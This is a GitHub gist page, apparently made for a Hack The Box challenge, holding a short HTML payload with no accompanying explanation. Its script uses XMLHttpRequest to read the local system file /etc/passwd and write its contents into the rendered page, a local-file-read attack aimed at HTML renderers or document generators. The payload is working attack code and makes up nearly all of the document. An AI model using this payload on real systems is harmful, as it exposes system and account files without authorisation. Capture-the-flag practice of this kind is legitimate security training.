Skip to content

Instantly share code, notes, and snippets.

@rogueai
Created July 25, 2024 16:48
Show Gist options
  • Select an option

  • Save rogueai/2511c08dd24c7c6f264b6f052bce5ce4 to your computer and use it in GitHub Desktop.

Select an option

Save rogueai/2511c08dd24c7c6f264b6f052bce5ce4 to your computer and use it in GitHub Desktop.
Hack The Box
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>
</body></html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment